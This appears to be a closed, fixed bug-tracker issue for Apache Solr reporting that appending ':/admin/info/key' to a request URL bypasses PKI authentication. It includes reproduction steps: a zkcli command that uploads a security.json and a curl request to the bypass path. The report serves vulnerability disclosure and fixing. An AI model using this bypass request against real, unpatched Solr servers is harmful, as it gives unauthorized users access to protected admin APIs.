Details
-
Bug
-
Status: Closed
-
Blocker
-
Resolution: Fixed
-
None
-
None
Description
By using ":/admin/info/key" at the end of the URL, the PKIAuthenticationPlugin can be bypassed, so that non-authorized users can access protected APIs.
Reproduction:
- Start Solr
- ./zkcli.sh -zkhost localhost:9983 -cmd put /security.json '{"authentication":{"class":"solr.BasicAuthPlugin","credentials":{"solr":"IV0EHq1OnNrj6gvRCwvFwTrZ1+z1oBbnQdiVC3otuq0= Ndd7LKvVBAaZIF0QAVi1ekCfAJXr1GGfLtRUXhgrF8c=","authorization":{"class":"solr.RuleBasedAuthorizationPlugin","permissions":[
{"name":"security-edit","role":"admin"}
],"user-role":{"solr":"admin"}}}'}}
- curl -H "SolrAuth: XXXXX" http://127.0.0.1:8983/solr/admin/info/properties:/admin/info/key
The request should fail, but it will succeed.